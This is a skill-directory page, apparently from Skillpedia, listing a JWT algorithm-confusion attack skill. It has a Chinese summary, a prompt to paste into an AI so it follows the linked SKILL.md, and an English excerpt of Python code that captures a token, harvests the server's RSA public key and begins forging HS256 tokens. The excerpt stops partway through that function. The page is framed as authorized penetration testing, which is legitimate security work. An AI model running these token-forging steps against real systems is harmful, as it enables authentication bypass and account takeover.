跳到正文
Skillpedia
安全35k · #7912

exploiting-jwt-algorithm-confusion-attack

它能做什么

这段代码尝试欺骗一个 JWT 令牌认证系统。它通过改变令牌的签名方式,让系统接受本不该接受的令牌。

适用场景

  • ✓当你要测试使用 RS256 算法的 JWT 令牌系统的安全性时。
  • ✓当你想检查系统是否会接受没有有效签名的令牌(alg:none)时。
  • ✓当你想测试系统是否使用了错误的公钥来验证签名时。

技能链接

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“尝试让系统接受一个被篡改的 JWT 令牌。”

每周 5 个新技能,1 分钟读完。

工作原理

它会拿一个有效的 JWT 令牌,把签名算法改成更弱的一种(比如 HS256),然后把系统的公钥当作密钥来签名。如果系统没有正确验证,就会接受这个伪造的令牌。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Exploiting JWT Algorithm Confusion Attack

When to Use

  • Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
  • Assessing JWT implementations for alg:none bypass where the server skips signature verification
  • Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
  • Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
  • Validating that the API server enforces a specific algorithm and does not trust the JWT header

Do not use without written authorization. JWT exploitation can lead to authentication bypass and account takeover.

Prerequisites

  • Written authorization specifying the target API and JWT-based authentication in scope
  • A valid JWT token from the target API (obtained through legitimate authentication)
  • The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
  • Python 3.10+ with PyJWT, cryptography, and requests libraries
  • jwt_tool for automated JWT attack testing
  • Burp Suite with JWT Editor extension

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: JWT Token Analysis

import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# Decode JWT parts
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")

Step 2: Obtain the Public Key

from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # Extract RSA public key from JWKS
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # First key
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")

Step 3: Algorithm Confusion Attack (RS256 to HS256)

def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.

…
常见问题

什么是 JWT 令牌?

它是一小段用于在网站系统中验证用户身份的信息,可以理解为一张数字通行证。

RS256 和 HS256 是什么?

它们是 JWT 令牌签名和验证时使用的不同“配方”(算法)。RS256 比 HS256 更安全。

为什么把公钥当作密钥使用很危险?

因为公钥本来只用于验证,而不应该用于签名。如果把它当作密钥使用,任何人都可以生成有效的令牌。

详情

作者的原始描述

Exploits JWT algorithm confusion where the server's verification library trusts the alg named in the token header, by switching RS256 to HS256 (signing with the RSA public key as HMAC secret), setting alg to none, or injecting kid/jku/x5u headers to supply an attacker-controlled key. Use when testing RS256 JWT auth for algorithm downgrade, alg:none bypass, or key-confusion signature forgery.

repo: mukul975/Anthropic-Cybersecurity-Skills

热度

GitHub 星标
35k
排名
#7912
许可证
Apache-2.0
更新时间
2026/8/31

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能